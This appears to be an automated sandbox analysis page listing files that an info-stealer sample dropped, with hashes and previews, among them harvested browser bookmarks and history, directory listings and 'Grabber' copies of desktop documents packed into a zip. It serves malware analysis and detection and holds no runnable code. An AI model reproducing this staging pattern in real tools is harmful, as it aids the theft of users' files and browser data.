C:\Users\user\AppData\Local\Temp\tmpD5E5.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD5F6.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD5F7.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD6A4.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD6C4.tmp.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	modified
Size (bytes):	153560
Entropy (8bit):	7.922717809884526
Encrypted:	false
SSDEEP:	3072:GhCxBE8v/B94M/P2gT5NN4TKWdyaofehj2UxN/l52F/lIrpj1YEVTO:FNNwKMofoj2Wtlu/ujs
MD5:	DF65A508625D7D89A8D328DC393158FE
SHA1:	DF8923D4709A8C21EEE0DE595CE0E787A32BB7E9
SHA-256:	7C80B291B3772E454AAF87D17A4ECA98BD26C14FC0AD65C93853FEAB077C4F3C
SHA-512:	1B7C0443E67684F8669AB974481409424D7D79815502C792B5D9F269304BA42CB5F38A6EF50857875685514EDB0D6EC6D02D0FBBFCC884D0DC50DB0F7A93ABB2
Malicious:	false
Preview:	PK.........i.X................Browsers\Edge\PK.........i.X................Browsers\Google\PK........z8.XQ3..J...i.......Browsers\Firefox\Bookmarks.txtSVVVpO-Q.H.)PPVV..b.......T........H.g^Y~NYj.\.1)..D!..YUIf^.BpIbQ.T!.PK........z8.Xc.e.S...^.......Browsers\Firefox\History.txtSVVVp.,JM.P.(.,KL.T../.LNUx.0E.7.3''QA..L#.....J_...\/.".._........_....1M_S....PK........z8.X-.!\E...?.......Directories\Desktop.txteR.n.0.;o.^%B....#.%I.&m5..t..A%8..G....h..m...S.....M..H...5..cm..A.=m.@...9....o;..S>s.....p.]b.&N.....~.fU..&L......XC.r..Y..60...G).v..-.j...~.....o..'...q.h..q...8....39V....\|qs.<.o.EzoB.YY.+;x....F...Q.w..WZQ.."h..d...I@.../b.oH..T....9. .n{....wW...$@. ...0..m..:..!...a...dwn6...z:..&.i....k.G`w.zX.X.kI.PK........z8.X..n.b...........Directories\Documents.txtm.Mn.0....;..lz............hE....*.}e..0].x...3n..:]....-C..PQ.T.6'B$.P...V..7.B.."..$....<....E....Cn.#Mw<QV[~......\..V{.4.%1.nD.b.5....8.O..p..c.b''.x.s..7...h....4v.\|..C.#.nFm.edseK....I....

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Browsers\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	105
Entropy (8bit):	3.8863455911790052
Encrypted:	false
SSDEEP:	3:RGtjybXLGSWK+ZjMGvRS3ZMz9GSOLj2SjyRE2qJ:hvWF7Ipg9OL2RE2m
MD5:	2E9D094DDA5CDC3CE6519F75943A4FF4
SHA1:	5D989B4AC8B699781681FE75ED9EF98191A5096C
SHA-256:	C84C98BBF5E0EF9C8D0708B5D60C5BB656B7D6BE5135D7F7A8D25557E08CF142
SHA-512:	D1F7EED00959E902BDB2125B91721460D3FF99F3BDFC1F2A343D4F58E8D4E5E5A06C0C6CDC0379211C94510F7C00D7A8B34FA7D0CA0C3D54CBBE878F1E9812B7
Malicious:	false
Preview:	### Get Help ###.### Customize Firefox ###.### Get Involved ###.### About Us ###.### Getting Started ###.

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.886397362842801
Encrypted:	false
SSDEEP:	3:RGEnGPHA9lfMJJEFAN2DSLvIJiMhKVX3L2WdXuvn:DG/CF0EFAN2OLciA8d+v
MD5:	61CDD7492189720D58F6C5C975D6DFBD
SHA1:	6966AFE0DEC5B0ABD90291FA12C0F6B7EF73ED43
SHA-256:	2F345865397FF1952921DB0588A6B589BAF30E67A90E11F7064E515AC162E862
SHA-512:	20D5A1C9809DF4F5B9C789042E5B88928A5246F9EB44F9D265CA3AA6FC9544A582B758ECAF6BBB0E9CEE149BD0AAC5E6C63D954541D1B23A7FC11894121CC0AE
Malicious:	false
Preview:	### Firefox Privacy Notice . Mozilla ### (https://www.mozilla.org/en-US/privacy/firefox/) 1.

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Directories\Desktop.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	831
Entropy (8bit):	5.296771780696344
Encrypted:	false
SSDEEP:	24:FSMvGrDhcqdyXetbRwNG9+bqK3MP6cZiUqcn:FSMOXhcqdyet1wg96qK3MP6cZincn
MD5:	3F600A457F6E0551FAABEB2E6B54BDDC
SHA1:	49FB182AD807587DFA3B71A818F897DD237769A1
SHA-256:	B4295795060C5D33B63F37A98A16FE449A1AB57072CE8EE822AC5CEA3474A09C
SHA-512:	FF0990DBF15A9DC5C84BE1B5AA6CD6E510D69C0B82DBB6F8DDB885138646244FC84E5035ABEEDBA4D09EB98BEBE66C53EC32436577E0BAF998177B0E415EC2EE
Malicious:	false
Preview:	Desktop\...AQRFEVRTGL\...BJZFPPWAPT\....BJZFPPWAPT.docx....CZQKSDDMWR.mp3....EOWRVPQCCS.xlsx....EWZCVGNOWT.pdf....NYMMPCEIMA.png....TQDFJHPUIU.jpg...EFOYFBOLXA\....BJZFPPWAPT.pdf....DUUDTUBZFW.png....EFOYFBOLXA.docx....EOWRVPQCCS.mp3....GRXZDKKVDB.xlsx....PALRGUCVEH.jpg...EIVQSAOTAQ\...GRXZDKKVDB\....EIVQSAOTAQ.jpg....EOWRVPQCCS.pdf....GIGIYTFFYT.png....GRXZDKKVDB.docx....PALRGUCVEH.xlsx....TQDFJHPUIU.mp3...LFOPODGVOH\...QCOILOQIKC\...ZGGKNSUKOP\...ZIPXYXWIOY\...BJZFPPWAPT.docx...BJZFPPWAPT.pdf...CZQKSDDMWR.mp3...desktop.ini...DUUDTUBZFW.png...EFOYFBOLXA.docx...EIVQSAOTAQ.jpg...EOWRVPQCCS.mp3...EOWRVPQCCS.pdf...EOWRVPQCCS.xlsx...EWZCVGNOWT.pdf...Excel.lnk...GIGIYTFFYT.png...GRXZDKKVDB.docx...GRXZDKKVDB.xlsx...LisectAVT_2403002B_4.exe...NYMMPCEIMA.png...PALRGUCVEH.jpg...PALRGUCVEH.xlsx...TQDFJHPUIU.jpg...TQDFJHPUIU.mp3..

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Directories\Documents.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	946
Entropy (8bit):	5.361989927440446
Encrypted:	false
SSDEEP:	24:bSMvGrDhcqdyXeExrqEECbRwNG9+bqK39c6Uqcn:bSMOXhcqdyeEBqEEC1wg96qK39c6ncn
MD5:	C3FAD94D509DF36535D029A4A923FB3B
SHA1:	9D1CDAF2609FDC3B179A0329AF9386D939B25B81
SHA-256:	D1298350AF33AB6805803B75CD1E00AEE1EE61C7E0455EAB632A080F02FA8597
SHA-512:	A5FE5B804E8DF549D3FC7BBF3F9C2157DFF7FF6A36D0DB12D6AB1D90A314ABC36D5064B59053014FD05A6806B628F4E45C4A08F7652234CAE7B51A8FE2C910FD
Malicious:	false
Preview:	Documents\...AQRFEVRTGL\...BJZFPPWAPT\....BJZFPPWAPT.docx....CZQKSDDMWR.mp3....EOWRVPQCCS.xlsx....EWZCVGNOWT.pdf....NYMMPCEIMA.png....TQDFJHPUIU.jpg...EFOYFBOLXA\....BJZFPPWAPT.pdf....DUUDTUBZFW.png....EFOYFBOLXA.docx....EOWRVPQCCS.mp3....GRXZDKKVDB.xlsx....PALRGUCVEH.jpg...EIVQSAOTAQ\...GRXZDKKVDB\....EIVQSAOTAQ.jpg....EOWRVPQCCS.pdf....GIGIYTFFYT.png....GRXZDKKVDB.docx....PALRGUCVEH.xlsx....TQDFJHPUIU.mp3...LFOPODGVOH\...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....Saved Pictures\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...QCOILOQIKC\...ZGGKNSUKOP\...ZIPXYXWIOY\...BJZFPPWAPT.docx...BJZFPPWAPT.pdf...CZQKSDDMWR.mp3...desktop.ini...DUUDTUBZFW.png...EFOYFBOLXA.docx...EIVQSAOTAQ.jpg...EOWRVPQCCS.mp3...EOWRVPQCCS.pdf...EOWRVPQCCS.xlsx...EWZCVGNOWT.pdf...GIGIYTFFYT.png...GRXZDKKVDB.docx...GRXZDKKVDB.xlsx...NYMMPCEIMA.png...PALRGUCVEH.jpg...PALRGUCVEH.xlsx...TQDFJHPUIU.jpg...TQDFJHPUIU.mp3..

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Directories\Downloads.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.287754723130447
Encrypted:	false
SSDEEP:	6:3tcfLdfLPE98LKIajGrZJ7rvZqVRqycs68EI/To0Jth7Adh7WdtNzdCqYHn:ajlPEOLKpjGrZZZqbqyd6W/9cuzUqcn
MD5:	2B4C09817677D435B98A3633EA80B206
SHA1:	EE1505FD6C9A08EC39EF727BFAD30CE0BE510148
SHA-256:	6CF6D3B6463CDE042454F7D5BA26A6EAECF7BB17EA20FD66271A0B3E77B20D9F
SHA-512:	A177AEA0E2EDFF2032ABFAAE04BD152B8401715F145178C7C102DC016F94D62932929BED07E55F000537E1A104F22B91B328B4356DF064AF56507AC525574E53
Malicious:	false
Preview:	Downloads\...BJZFPPWAPT.docx...BJZFPPWAPT.pdf...CZQKSDDMWR.mp3...desktop.ini...DUUDTUBZFW.png...EFOYFBOLXA.docx...EIVQSAOTAQ.jpg...EOWRVPQCCS.mp3...EOWRVPQCCS.pdf...EOWRVPQCCS.xlsx...EWZCVGNOWT.pdf...GIGIYTFFYT.png...GRXZDKKVDB.docx...GRXZDKKVDB.xlsx...NYMMPCEIMA.png...PALRGUCVEH.jpg...PALRGUCVEH.xlsx...TQDFJHPUIU.jpg...TQDFJHPUIU.mp3..

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Directories\Pictures.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4308
Entropy (8bit):	5.164992447251979
Encrypted:	false
SSDEEP:	96:csiCKcwGT+jDM9Zw72fSASbSbdbsuEMnI0kjMC1GA03MjL9g2WUwtLtjg/uZ9FGI:0Yfa2fSASOpgu9nI0kjMC1GA08fOXvxp
MD5:	CAB56D1898CC73C26F7D6C02A92A8538
SHA1:	542C9F831ECDC5C4D4CAADEB4155F487A9312EEB
SHA-256:	B76696DFA2587BD72D28C241FF72B89B7467A5581B2B27F87D245566B1AD1F63
SHA-512:	E3F840EDC49204518989C773EA6B8AE9747011D9AAB0E2A1ADB490DEF25DCE5DEC3DFE4BE86C00971D0FA747DD77621346D95FA624C409B7730C56E9B8589787
Malicious:	false
Preview:	Temp\...3582-490\....LisectAVT_2403002B_4.exe...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-42-624.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-04 16-15-55-956.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696428505298658900_7B05BF2A-C74F-44F8-B674-AA3F9719008B.log.....App1696428527628431800_6CD9E3BB-4D03-46BD-8615-75A902267162.log.....App1696428537364279100_A2018481-B961-46B4-9328-34939DEAF293.log.....App1696428537364768600_A2018481-B961-46B4-9328-34939DEAF293.log...edge_BITS_6440_1090636871\....4643befd-79b8-4e0c-a2fb-c0e3ee78dcd5...edge_BITS_6440_1191663050\....9e51170b-7adf-40ab-83b6-5f97b13bedcb...edge_BITS_6440_1234978473\....1187695d-8276-4e31-8de1-9e57768989bd...edge_BITS_6440_1289371347\....78549187-a875-4f1e-8dfa-9938ebc29c81...edge_BITS_6440_1318414972\....8

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	true
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
